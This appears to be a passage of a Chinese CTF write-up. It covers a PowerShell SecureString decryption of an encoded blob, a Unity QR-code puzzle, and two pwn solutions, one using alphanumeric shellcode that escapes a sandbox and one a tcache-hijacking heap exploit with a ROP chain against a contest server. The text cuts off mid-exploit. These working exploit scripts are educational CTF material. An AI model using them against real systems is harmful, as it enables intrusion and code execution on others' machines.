AGUAMgA1AGIAYwAwAGYANwA3ADQANgBjAGMAOQBmADcAMQAzAGEAZQBhAGIAYQBiADUAZgBjADgANABkADUAYgA2AGQAZQBlADEAOABkAGEANwAwADAANABjAGEAYwA3ADIAMQA5ADgAYwBiADcAMwA2ADQAYwBkAGIAZgAxADAANQBlADQANAA2AGYAZQA3ADAAYQAyADgAMgA4ADUAZQA0AGQAZgA0ADkAOAA0ADQAMwA3ADEANgAyADgAYwA2ADkANQBkADIAMwA1ADEAOABhAGIAYgA0ADYAOQBhADQAOABmADQAMABmAGMAOAAyADMAMgBjADQAYQBmADcANQBkADMANQBhAGEANQAzAGMANAA4ADAAMgA0AGIANABkADUAMQBjADYANwBmADIANQA3AGQAZgAyAGEAOAAyADgAZgA1ADIAMAAyADIAZAA1ADUAYQBmADAAZgBhADUANgBlADgAMgAzADIAZAAyADQAYwA3AGIAMQBjADkAMABjADUAMwBiADMANQBlADQAMAA4ADMANABhADMANABmADYANwAzADEAMgA3AGEANQBkADYAYQA4ADYAZgA2ADIANwBjADcANQBhAGMAOABiADAAZQBjAGMANgBkAGYANwA3ADUANAAzADcAYQBiADQAOABlAGIAMwBmADcAYwBkADcAOAA0ADMAYgA2AGIAYgBhADcAMwBhAGQANAA4ADgAZABlAGUAOQA4ADAANwA4ADAAMgBmADQAYwAzADQANgA3AGUAMQA3ADUAYQA0ADQAMwAwADAAYQAyAGMAYgA4ADkAMgBmAGMAMgA5ADkAYgAxADAAMwA0ADYAOQA0ADcAYQBkAGMAZgA2ADYAMwAxAGMAMwBjAGMAYQAwADkANwBjADQAYgAxADgAYgAyADUANQBmADYANwAxADEAYwBmADMAOQBiADQAZQBiADAAZQBkADgAMwBlADMANABkADYAMAA1ADUAMABhADQAMwA1AGMAYQAzAGMAMQAxAGQANAAxADYANwAwADcAMQBjAGQAZQA4ADgAYwBkAGUANwA1ADkAMQAxADYAYwA2AGMAOQAwAGYAYgBkAGMAZQA0ADkANQA5AGYAOQA4AGIAYwA3AGEAMABjAGQANgBmADEAMABlAGMAZgA2ADkAZABlAGQAOABhAGIAZgBjADgANAA3ADkAYwAxAGIAMgBhADkAZQBiADMAYQAzADQANgAxADQAOQA5ADYAOAAxADgAYgBkAGIAMwA3ADIANgAwAGMAYwA0AGQAMAAyADAAMwBiAGMAYgA5ADgAYgBiADEAZQBmADkAMAA5ADYAMwA4ADUAMgA1AGQAMQAxAGMAYwAzADkAZgA5AGIAOAAyADAAZAA3ADkAYQA2ADYAYgA0ADMAZQBkADUANwAyAGEANgA4AGIAZgA3ADEANgBkADYAZgBkAGQAMQBiAGEAYwAxADAAZQBjADcAZgA2ADYAZAAxADUAYQA4ADMANAA0ADcANAAxADIAMQBkADgAZAA0ADQAMwBlAGUANwBiADcAOAAyADYAMAA0AGUANQBlADQAMAAxADIAMQAxADkANgBjAGYAOQA0ADgANgBhAGUANQBlADEAOQBlAGMAMQA4AGUAZgBjADYAZAA2ADEANwAzAGQAZQBhAGIANwBhADQANAA0ADkAMQAxADgAMQBlADgAZQAwADMANwAyADEANABkAGMAMAA3AGUANgA1AGUAMwA3ADUAZQBkADEAZAA1AGEANQBiADIAYQBkADUANwA0ADQAYgBlAGYANQAxADQAMwA1AGQANQA2AGUAZgAzADUAYgBkAGEAYQA2ADgAOQBkAGYAOAA2ADgAYgBjAGUANAA5AGQAMwBmADEAYgBiAGYAOQA2ADcANwA0AGMAMwA5ADgAZQAzAGYANABhADkAMwBlAGQAMgBmADMANQAwAGIAMAA1ADEANwBjADgAYgA1ADcAYwBmADIAYQBjADYAMAA2ADcANgA5ADYANQBjADMAZABhAGEAYQA5ADIAZQA4AGEAMgA4ADUAOABjAGMANwAyAGIANQBjADYAYgBlAGIAYQAxADMAYwA1AGQANgA3AGUAZgA1AGIAZABkADYAOAA1AGMANwA2ADMAMwA0ADUAZAA4ADQANwA4ADMAYgAzADYAZAA3AGEAMwBhADkAYQBkADYAZgA1ADkANwBmADIANwA5ADIANAA2AGIAMAAyAGEAOQBkADIAYgBhADMAYgAxAGYAMQA4ADEAZQAxADQAMwBjADkAMABiAGYAZgA1ADAAOQBkADMAMgAyADcAZgBlADgAOQBhAGUAYQA5ADQAYQA1AGIAOQA5AGQAMgAwAGMAZQA2AGYANAA0ADAAMwA0AGMANQA0AGQAMQA4AGQAOQBlADIAZgAyAGEAMwA3ADMAZQA0AGQANABmAGQAYQBlAGIAYQBhADMAYQAxADIAYQAyAGYAZABiAGEAOQBjADQAOQBjAGIAZAAxADcAMAA4AGUAZgBmADcAOABkADIAOAA3AGEAZgAxADkANgA1ADkAMwBiAGYAZgA5ADcAZgAwAGYAMABiAGUANAAzAGMAZAA3ADMANABjADUAYwBmADQAOQA3AGQAMAAxADcAOAA3AGIANwBlAGMAOAAyADYAYwA0AGMANAAyADgAYwA3ADMAOQA1ADgANwA2ADIAOQA1AGQAZQBlADMAOAAxADgANgBjAGEANQBlADkANgA4ADgAYQA3ADMANABhADAAMAAzAGIAMAAwAGQAYwAxADgAMgA1ADAAMgA2AGIAOQBhAGUAOAA3ADgAOAA2ADcAMgA2ADQAMAA5AGQANgA1ADIAYgA4ADQAYQA1ADcAZQBiAGEAZgBmADcAMABkADEAMQA2ADAAMwAxADYAOQBjAGIAOQBmADkAZQBjADEAMgA1ADMAOAA4ADgAZQA3ADkAMgA2ADAAOQA0ADEAOABkAGQANwAwAGYANgBlAGMAYwBmAGUAYQA5ADQAZAA1ADMANAA0ADIAZgBmAGQAMgA0ADcANQAzADIAYQA4AGEAOQA3AGYAMgA2ADQAZgAwAGMANgA2AGQAMAA2ADkAYQA3ADUAZQA3AGIAYwAxADUAYQBkADQANAAxADAAYgBlAGEAYgBjAGMAYQA3AGQAYwAzADYAOQA5ADAAMgA1ADQAZgAxADIAZgBjAGYAMwAwADMANgA5ADMAZQBkAGMAYgA1ADUAMwBlADIAYQBlAGIAYwAzADMAZgAwADIAMgBhADIANwA3ADUAMwA2ADEAMAA3AGQAZgA1AGUANAAxAGUANABkADgANgBkAGYAMABhAGEAMQA0AGQANQA2AGUAZQA0ADMAMAAzAGIAZQBkAGMANAA2ADAANQAwAGMAYQBjADkAZgBlAGUAZQA4ADIAZQA2AGUAYgBkAGEAMAAyADEAYQA5ADgAYwBhADgAMwBlAGIAZABjADEAZAA5ADEANQA1AGUANgBmADcAMgBkADgANAA4ADQAZQA3AGMAZgBkAGUAMQBlADUAMwA3AGEAMwA5AGYAMAAwADUAMwBmADIAOQA1ADgAYwA2AGEANQA1AGEAZgBlAGMAYgAzADMAMQA3ADQAOQA0AGIAOQBjADIANAA0ADMAZQBkADQANgA3ADQAMAAwAGMAMQBlADgANQBhADEAMQBmADMAOQBkADMAYQA2ADkAOQBlADEAMAA2ADAAMAAzAGQANQA0ADEAYQBlADUAYgBmAGQAMgAxAGMAMABmADQAOQAyADgANgAyAGIAYgA3ADYAZgA3ADgAZgA1ADYANAA3ADIAOAAxAGIAZgAxAGYANgA1ADkAYQBhAGQAYgA2AGMAOABjADYAMgAwAGQAZgA1AGYAYQBkAGQAZAAyAGEAOABkAGYAZgBmADMAMwA1ADEAYwAxADgAMwA5ADUAMgAzADQAZQBjAGMANAAzAGMAMwA1ADkAZAAyAGQAZQBjADIAZgA0AGMAMgA1ADUANgA0ADIAMgAwADEAZABmAGYAMgBhADAANAA4ADcAMQA1ADAAYQA5ADEAZgBjADIAZQA4AGMAZgA2AGUANgBkADQAMwAwAGEAMgBlAGIANQBmADgANQAzAGEAOQBmAGQAYQBhADMAOAA4ADAAOQA4ADUAYwBhADQANABhADIAZQA5ADcAZgAyADUAYQA0ADgAOAAyADgANAAyADYANgA0ADMAYgBkADkAYQBiAGMAZQAyADMAYwBkADgAZAAyADUANgA3ADcAZgA3ADgAMQA4AGQAOQAyADMAYgAzAGUAYQA4ADYANgBhADEANgBhADQAMQBmADQAMwA0ADYAYQAyADEAOQBjADMAMwA4ADMANwBlADEAMAA2ADkAYgBmADQANgA1AGYANQA5ADYAZABhADAAZgA2ADIAOQAwADgAZQBmADEAZgA0AGIANgA4ADQAMwBjAGIAZgA2AGIANgA0ADcANAA2ADUAZQAwADgAMQBhAGIAYwA0AGQAYQBkADAAYQBkAGEAYwAxADcAZQAzADEANwAyADcAMwA0AGIAMAA5ADcAOAA2ADgAZgA2ADIAZgA2ADIANQAwADAANQA5AGYANwBlADAAMQBmAGMAMAA3AGQANwAwAGUANgBhADYAYQAwAGYAMgA1ADQAOQA4ADAAOQBjAGMAYgA1ADcAMgAxAGIANABlADQANABmADkAYwA4AGQANQBhAGUAZQAzADMAYgAzADYAOAA5ADEAZQA5ADcAZABkAGEAYwBlADMAMQAzADMAYQBhAGMAZABjAGUAYQA0AGUANABjADUANQA5ADUAMwBkADgAYQBjAGIANwA0AGEAYwAzADgAOABlADUAMQA3ADIAOABmAGQAMAA1AGQAYQBkADYAMAA1AGUAZgAyADkAMwBlAGQAOAAyAGQAOAAwAGEAYgBlADQAMwBjAGYANAA0AGYANgA1AGUANgBkADAAMgBiAGYANgAzADIAYwA4ADgAYgAzADAAZABkADIANQAwAGYAZQA4ADAAOAA5AGMANwA4AGUAYwA3AGUAZQA4ADIAMABmADIAMQA5AGYAZQA2ADIANwBiAGIAMAA5ADIANABmAGUANQBkADIAOAAwADkAZABhADQAMgA5AGIANQA2ADEAOAAzADMAOQA3ADUAZQA5AGEAYgAzAGIANwA0AGYANQAwAGYANABhADcAYQA1ADQAYwBiAGYANAA1AGMAMQBiADQANAA1ADgAOABmAGQANQBhADkAYwA3ADIAYwA0AGYANABjADEANAAxAGMAMQA5ADgAYQA2AGMAMwBiADIANwBlADEAZgA1ADUAMwA4ADgAMgA4ADgANABmAGMAYwAxADIAOAA4AGQANwA5ADAANQAyADQAMgBiADYANgA1AGUAMwA0AGUAMwBkAGYAOAAxADUAMABiAGEAZgAwAGIANgA2AGQAYgA3ADcAZQBjAGIAZgA0ADUANgAzADAAMAA5AGEANQAyADEAMQA3ADMAMAA2AGYAYgBlADIAMABlAGUAYgA1ADcANAA5ADUAOABhADUAMwAzAGIAOAAzADgAZQAwADAAYQA5ADMAYwA0ADAANwA5ADQANAAyAGQAOQAyADEAOAA1ADEAMQBkADQAOAA4ADEAMABhADMANgAyADUAMAAxADQAYQA1AGYANABlADYANABjADYANwA5ADEAYQBlAGUAOABlAGUAMgAzADYANgAwADgAOQA4AGIAZgA1AGIAZAA5ADgAYgBmADIANgA2AGYAMABlAGYANAAxADgAYgAzADkAZQA0ADgAMQAzAGUAOQBkADkAMQA3ADIANAAxAGYAMgBmAGUAZABkADgANQAwADkANgA3ADkAMQBiAGUANwA5AGQAMwAxAGMANQBkAGQAMgBjADYAMQA4AGIAZgA2ADMAOQA0AGEAMgAyADQAYwA1ADAAZgA1ADMAMAAyADcAMgBlAGUAMgA4ADgAMQA0AGMANgA4ADYANAA4AGQAMgBlADIAYwAwADEAZgA4ADUAZABhADgAYQAxADQAZQA4AGQANABkAGUAYwAwADMANQA5AGUAYQBhAGMANAAyAGIANAA4ADQAZABmADMAOQAxADEAOQAzADAAMgA0AGUAZgA5ADQAYgAyADMANABlADUAYQBlADYAOABhADcAMgBlADQAZgA4ADEANQAxADIAMwBhADMAMAAyADIANwA1ADAAOAAxAGYAZQA3ADYAOQBmAGMAMwA2ADcANAAwADkANAA3AGYAMAA4ADIANwAxADkAYgA4ADUANQBmADMAZAAyAGEAYgBiAGQAMABiAGIAZQA4ADUAMQAxADcANQA4AGIAOABiAGEANgBiAGIAZABlAGYAMQAzAGQAZAA4ADYAOAA2ADIANAAzADUANAA4AGQAZAA1ADAAMQBhADIAMgAwADgAMgBkADAAYQBmADUAYgA1AGIAZgA3AGIAMAAzADYANQA4ADMAZQA5ADQAMAA4AGUAOQA0ADUANABjADEAZgA3AGMANABlAGUAZgA0AGYANABmAGMAYgA3ADcANAAyAGIAYwAzAGYAOQAzADUAMwBiAGMANQAzAGQANQA5AGUAYwAyAGUAZQA2ADcAMwA0ADIAMAA4ADUAMQA4ADMAZgA0ADMAYQBhADQAOQBkADQAZAA3AGMAOQA1ADgAYgBkADkANQAyAGYAZAA2AGQANQA2AGYAOAA0ADgAZABiAGIAYQAwADYAMAA3AGQAYwA4ADMANQAxAGYAYwAzAGEAZgAzAGIAZQAyADgAMQBiADcAYwA4AGMAZQBlAGYAYwBlADMAYgBhADkAYwBkADUANQA5AGMANwA1AGUAMABiAGIAZgAwADUAOQA1AGYAYQA0AGMAYgAyAGEANABhAGMAYQBkADEAOQBjAGYAOQBkADYAMQBlAGEANwBjADgAMAAzADIANwAyAGEAMwA1ADIAZgA4ADgANwBkADcAMwAxADEANAA3ADMAMgA2ADEAYgA4ADEANQA1AGIAOQA2ADAAOQBkAGUAOQAzADgAOQA3AGMAMgA3AGEANgBkAGUAYwA1ADkAOABiADQAZAAxAGYAMwBhAGQAZgA4AGMANQBiADcAYgA2AGEAMABkADQANQA3ADQANAA0ADMAYwAyADkAOQA0AGEAYwA1ADcAZQBjAGMAYgAwAGEAZQAxADgANAAwADgAOAAzAGQAMAAwAGIAMABhAGIAZABhADcANgAyAGQANgBmADkAMwBjADgANgBlADcAYwAzAGEAZABjADIANgBhADQAYgAxAGIANwBlADEAMwA5ADgAMgBiADAANwAyADcAOQBhADQAYwBiADYAZAAyADkAMAA4ADAAMgBiADEANAAyAGYANABlADcAZQA0ADcANwA5ADIAOAAzAGMAMAAwAGEAOABjADIANAA3ADUAMQBkAGQAOAA4ADkANgBmADYANQBlADIAMwA3ADQAZgA3ADUAZAA0ADcAYwAwADYANgA3AGUAOQAxADcAMAA3ADIAYwBiADQAMwA2AGEAZgA2AGUAMAAyADMAOABhADUAZgA2AGYAZQA1AGYAOQA4AGYANgBjAGYAMwA3ADMAOQA3ADQAMQBlAGEANwBkAGEANgBmADIAMQBkADEAYgA3ADEANAAwAGMAOAA0ADEAMAAxADUAOQA3ADEANQBlAGMAMwBiADQAZAAyADEAMQA0AGEAMwBhADkAMQAyADMAMwA3ADMAYgBhADcANQA2AGUAZABjAGUAYQAxADEANABiADYAYgA4AGYAMAA2AGMAZgAxAGYAMgA0ADUAMwAxADQANgA1AGIANgA5AGIAOQA4ADgAYgAzADAAZABiADQANQBlAGQAOAA3AGYAZQA5AGYAZQBlAGMAMABmAGQAYwBmADEAZgA2AGEAMQA0ADkAMQA2ADIAMQBhADkANwAwAGYAYgA0AGYAZgA2ADYAMABhADAAOQA3ADQANwBjADQANwBjADIANwA4ADAAYQBkADQAMQBiADEAYwA0AGMAMgBkADEAMwBhADkAZQBjAGQAYwAzADEAMgA0AGEANwBjAGQANABhAGYANQA5AGMAMQBjAGUANwA2AGUAYgBiAGEAZQA2ADgAMQAzAGEAOQA2AGQAMgA4AGIAZABmADUANgBkADEAOQBjADQAMQA3ADUAZQBkAGUANgBlADEAZgAxAGUAOABhADQAMQBjADYAMQA4ADQAZgBlAGYAZgBhAGQAMQBkADkAYgBlAGUAMwA4AGMAOQA1ADYAZAA1ADQAYQA2AGMANQBkADAAYgBjADIAMwBjADUAYwBmAGEAYgBmADUAOQBlAGMAZQAxADAAYgA1AGUANQAwAGMAOABiADMAYQA3ADIAZQBmADQAOAAyADUAMABmADEAYwAzADIAMwA2ADcAOQBhADQANgAzADAAMgA0ADIAZQAxAGIANwA2ADAANAA0AGEAMwAwADEAYwBlAGMAMgAzAGUAYQA3ADUANQBmADYAYgBjADQANgA0ADcANgBhAGMAYwBkADcAYwAwADEAMABiAGUAMAA1AGEAMgA1AGEAZQA4ADQAZQA3ADIAYgA1ADEAYwBmADMAYgA3AGQAMAA5AGQAZgBhADYAOQBjADYAZAA0ADAAZQBlAGQAYwA1ADkANAA2ADkAMgAyAGYAOQBiAGEANwA4ADAAYwBlADQAYQAzAGIAYwA5ADEAOAA1ADYANQBmADEANwBhADMANgA3ADgAMQBjADgAOAA4ADUANQA0ADcAYwBhADMANQBmADYAYQBiAGYANgA2AGYANAA2AGEAZABlADYANABjADcAZAAwADEAMQA1ADIAYgBmAGYAYQAxADIAZgA1AGQAYwA2AGQAZgA1AGEAZQBkADkAYgBkADcAMgAzAGMANQBjAGYANgA0AGUAZABkADkANABjAGUAYQA4AGYAZQA2ADUAMQAxADcAZQBiADAAOQBlAGMAYgAxADAAOABlADgAMwBjADcAYgBlADcAYwA4ADAANQBkAGUAYgAxADEAYwA5ADcAZgA1AGIANABiADUAZABlADYAZQBlADcANgBmADkAMABlAGUAMQBjAGQANQBhADkANgAyAGUAOAA0ADgAMQA0ADEAYgBmADUAMgA5AGUAMgA2ADMAOQAwADQAYwAyADYAZQAxADQAZgBiAGMANQAzADkAYgBkADYANwBjADgAZQAzAGUAMQAwAGYAOAA2ADQAYwBhAGEAZgA5ADQAMABmADUAMgA5AGMAZABjADQAMwAzADQAZAA0AGUAMQAwAGQAYwBjAGIAMwBkADkANQA0ADYAMAAxADQAMwBhADQAZABjADgAYQA4ADIANgAwADIAZgBhADIANwAyAGYAMwBjADMAYwBiADYAYgA2ADUAZgA5ADYANQAzAGMAMgA3ADYAOQA4ADgAZQAyAGMAMgAzADEANAAyAGMAOAA0ADkAMwA4AGIANgBhAGEAZgBhAGMANwA4AGMAMwBlADIAOAA3ADcAMAA3ADcAZQAxADYANgBjADcAYgAwADMAYgBhAGIANAA4ADgANAAxAGQAMAA3ADgANwAyADAAMQAxADUAYQA0ADUANwAzAGIANwA5ADkAMQA4ADIAZAA0AGMAMQA2ADYANgA0ADcAYwA2ADIANQAyADgAMgBkAGYAZQA0ADUANgA3ADUAYwBlADYAYgBlAGQANwAzADYANwBhAGYANAA3ADUAMgA5AGIAZgA2ADgAYwAyADUAMQBmAGQAYgA0AGYAMAA2AGEANgAwADUANQBkAGEANQAzAGMAOABiADEAOAA1ADMAYQBmAGIAOAAzAGMANAA4AGIAZQAyADEAZQBlAGIAMAAzADUAMwBlADAAZABkADYAMgAwADUANwAzAGYAOQBmADUAYwAxAGIAZgBiADIANABjAGYAOQAwAGYANgBiADkAMgAxADkAZgA5ADcANwBiAGUAMQAwADUANAAxADMAMwBmAGYAZgBmAGIANABlAGUAZQBhADgAZAA1ADQAMgBlADcAYgAwAGMANQAxAGUAMwAzADEAMAA5AGYAYQBkADAAZAA1AGQAMgAxAGEANQBlAGYANQAyAGIANwBhAGQAMwBlADMANgAxAGUAMwBmADAAYwA4ADgANwBiAGMAZgA1ADMAYgBmAGIAZABhADkAMAAwADUAZABkADIAMQA0AGUANwBlAGMAYQAwADkANgBiADQAYgBlAGIAZAA3ADEAMwA2ADUAMQA4ADAAYQBjADgAYwAzADcAOABhADkANABjAGYAZAAyADcAZQA2AGIAZAAyADcAYwA1ADYAMgAwADUAMQBiAGEANwAwAGIANABmAGYANAA1ADYAYgA2ADMAOQBjADcANQAzADMANQBkADQAMwBiADgAYgA3AGIANwBlAGEAMQBmAGMAYQA3AGIAZABlADgAYQA4ADcAMwAxADkANABmAGYAOQAwADYAYgBkADMAMwAwADMAMwBjADIAMwAwADAANgA3AGUAYwAwAGUANwA0AGMAMgA3AGUAMgAxADgANQA2AGIAOQBiADMAYgAzAGMAZgAzADUAYwA3ADkAZgBkADIAZQA4AGIAMABiAGIANQAzADcANQBlADEANgBiAGQAMQA2ADIAOQBhADkAOQA5AGIAYgAzAGMAYwBkADAAYQA5ADkAMwBlADEANQA0ADEAZgAzAGEAOQAwAGMAMgBlADEAZAA3AGYANgAzAGYAYgBlADYAOQAyADYAOABhAGIANQA4ADgANQA3ADMAMQA4ADYAMgBiADkAMAA0ADMAMgBmADMAZgAwADMANABmADUANQA0ADYANQA0ADkAZQBiAGIAZAAzAGUANAAzAGYAYwA4AGEAOQAwAGYAZABkAGQAMABhADYAYgBkADcAYgBlAGYANwAyADYANgA5ADkANwBlAGIAMABmADkANAA1ADYAYgBiAGUAMQBjADcAZgA3ADYANAA1ADAAYwA3AGEANAA4AGIAMwAwAGMANwA0ADcAOQBkADAAMgAwADkAMwBjADYAYgAwAGEAMQAzADMANABkADAAOAA3ADcAMwBmADcANgA1ADAAMAA5ADMAMgA3ADgAMgA2ADQAMgA4AGEANAAwAGUAZQA4AGMAZgAxADQAOABjAGMAMAAyAGUAYQBjADQANgA5ADEAOAA5ADYAYgAxAGUAYwAxADAAOABlADMAMAAwADYAOQAyADYAZgA1ADAAZAA1AGMANQA2ADYAYwAxADIAZAA0ADMAMgBkADAANgA2AGEANAAwAGQAMwBjADYANwA2ADcAMgA3AGQAMwAwADYAOAA1ADQANgA4AGMANABhADkANQAwAGYAZgA0AGQANQA4ADUAYgBjADgAZABkADcANwA1AGEAMgA2AGEAOAAwAGMAZQBiADkAYQA4ADMAOAA1ADAAZABlADQAYwA=' | conVeRtto-SEcurEsTrIng -key  (143..112)) ) ) ) ) 

涉及conVeRtto-SEcurEsTrIng,之后用脚本分析即可

$EncryptedPW = Get-Content -Path E:\key.txt
$SecureString = ConvertTo-SecureString -String $EncryptedPW -Key (143..112)
$Credentials = New-Object System.Management.Automation.PSCredential "User", $SecureString
$Credentials.GetNetworkCredential().Password

得到flag1

image-20231224152114156

Jump For Flag

利用dnspy分析Assembly-CSharp.dll

找到有关于二维码的类

image-20231224164502408

看了一下根据x,z坐标构造31*31的图像,根据第4个值判断

import matplotlib.pyplot as plt

x = []
z = []
colors = []

with open('hint.txt', 'r') as f:
    datas = f.readlines()
    for data in datas:
        arr = data.split()
        if len(arr) >= 3:
            x.append(int(arr[0]))
            z.append(int(arr[1]))
            colors.append('black' if int(arr[2]) == 1 else 'white')

plt.scatter(x, z, c=colors, marker='s', s=100)  

plt.xlabel('X Coordinate')
plt.ylabel('Y Coordinate')
plt.title('Plot of Coordinates with Black/White Colors')

plt.show()

image-20231224164441633

CQR

image-20231224164557179

PWN

checkin

带有沙箱的可见字符shellcode。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rbx
  __int64 v4; // rbx
  __int64 v5; // rbx
  unsigned __int64 v7; // [rsp+8h] [rbp-28h]
  char *v8; // [rsp+10h] [rbp-20h]
  int i; // [rsp+1Ch] [rbp-14h]

  v8 = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
  if ( v8 == (char *)-1LL )
  {
    perror("mmap");
    exit(1);
  }
  write(1, "Give me your shellcode: ", 0x18uLL);
  v7 = read(0, v8 + 0x30, 0x100uLL);
  for ( i = 0; i < v7; ++i )
  {
    if ( (v8[i + 48] <= '`' || v8[i + 48] > 'z')
      && (v8[i + 48] <= '@' || v8[i + 48] > 'Z')
      && (v8[i + 48] <= '/' || v8[i + 48] > '9')
      && v8[i + 48] != '/' )
    {
      printf("Invalid character: %c\n", (unsigned int)v8[i]);
      exit(1);
    }
  }
  v3 = qword_4088;
  *(_QWORD *)v8 = payload;
  *((_QWORD *)v8 + 1) = v3;
  v4 = qword_4098;
  *((_QWORD *)v8 + 2) = qword_4090;
  *((_QWORD *)v8 + 3) = v4;
  v5 = qword_40A8;
  *((_QWORD *)v8 + 4) = qword_40A0;
  *((_QWORD *)v8 + 5) = v5;
  sandbox();
  ((void (*)(void))v8)();
  return 0;
}

利用栈上的入口地址进行偏移,并设置rax为入口地址。随后直接使用alpha3生成shellcode即可。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('8.130.35.16', 58002)

sh.sendafter(b'shellcode: ', b'jBZPPPf1Tt0XXXXXXX' + b'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G122o5L162v1n3Z4s3f173p4I3c1o3c353d1L062G4N06060q05184r4L000n020b0z5L3m2I004r113Y1N8N3R1O3r3Y3b17401N051M8N3n1M4M3k114u8O0E5o0q8M3F0b')
sh.recvuntil(b'0')

shellcode = asm(
'''
jmp start

read:
    mov r15, rdx
    xor edx, edx
    inc edx
read_again:
    xor eax, eax
    syscall
    inc rsi
    dec r15
    test r15, r15
    jnz read_again
ret

write:
    mov r15, rdx
    xor edx, edx
    inc edx
write_again:
    xor eax, eax
    inc eax
    syscall
    inc rsi
    dec r15
    test r15, r15
    jnz write_again
ret

start:
    xor edi, edi
    mov eax, 3
    syscall

    mov eax, 0x67616c66 ;// flag
    push rax

    mov rdi, rsp
    xor eax, eax
    mov esi, eax
    mov al, 2
    syscall ;// open

    push rax
    mov rsi, rsp
    xor eax, eax
    mov edx, eax
    inc eax
    mov edi, eax
    mov dl, 8
    call write

    pop rax
    test rax, rax
    js over

    mov edi, eax
    mov rsi, rsp
    mov edx, 0x01010201
    sub edx, 0x01010101
    xor eax, eax
    call read

    mov edx, eax
    mov rsi, rsp
    xor eax, eax
    inc eax
    mov edi, eax
    call write

over:
    xor edi, edi
    mov eax, 0x010101e8
    sub eax, 0x01010101
    syscall ;// exit

''')

sh.send(shellcode.ljust(0x400, b'\xcc'))

sh.interactive()

npointment

漏洞点位置在函数 14B3 中,输入”date=date=date”即可造成堆溢出,然后使用tcache-hijack来完成利用目的。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('8.130.35.16', 58001)

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x500  + b'\0')
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x531) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x600  + b'\0')

sh.sendlineafter(b'$ ', b'show index=3\0')
sh.recvuntil(b'Appointment #3:')
sh.recvuntil(b'Content: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ff130
success('libc_addr: ' + hex(libc_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=6\0')

sh.sendlineafter(b'$ ', b'show index=3\0')
sh.recvuntil(b'Appointment #3:')
sh.recvuntil(b'Content: ')
heap_addr = u64(sh.recvn(5) + b'\0\0\0') * 0x1000
success('heap_addr: ' + hex(heap_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x31) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'delete index=7\0')
sh.sendlineafter(b'$ ', b'delete index=6\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x20 + p64((heap_addr >> 12) ^ (libc_addr + 0x247320)))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaa\0' + b':' * 0x800)

sh.sendlineafter(b'$ ', b'show index=7\0')
sh.recvuntil(b'Appointment #7:')
sh.recvuntil(b':'*10)
image_base = u64(sh.recvn(6) + b'\0\0') - 0x3e78
success('image_base: ' + hex(image_base))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=9\0')
sh.sendlineafter(b'$ ', b'delete index=8\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0x71) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0x60 + p64((heap_addr >> 12) ^ (image_base + 0x50e0)))
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + b'a' * 8 + p64(libc_addr + 0x206258))

sh.sendlineafter(b'$ ', b'show index=6\0')
sh.recvuntil(b'Appointment #6:')
sh.recvuntil(b'Content: ')
stack_addr = u64(sh.recvn(6) + b'\0\0')
success('stack_addr: ' + hex(stack_addr))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=11\0')
sh.sendlineafter(b'$ ', b'delete index=10\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xb1) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xa0 + p64((heap_addr >> 12) ^ (stack_addr - 0x138)))
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=' + p64(image_base + 0x4180))

sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'add content=a\0')
sh.sendlineafter(b'$ ', b'delete index=13\0')
sh.sendlineafter(b'$ ', b'delete index=12\0')

sh.sendlineafter(b'$ ', b'delete index=0\0')
sh.sendlineafter(b'$ ', b'add content=date=date=aaaaaaaaa\0' + cyclic(21) + p64(0xf1) + b'\0' * 0x800)
sh.sendlineafter(b'$ ', b'delete index=2\0')

sh.sendlineafter(b'$ ', b'add content=' + b'a' * 0xe0 + p64((heap_addr >> 12) ^ (stack_addr - 0x148)))
sh.sendlineafter(b'$ ', b'add content=a\0')

sh.sendlineafter(b'$ ', (b'add content=' + b'a' * 8 + p64(libc_addr + 0x0000000000026a3d)).ljust(0x100, b'\0') + flat(
[
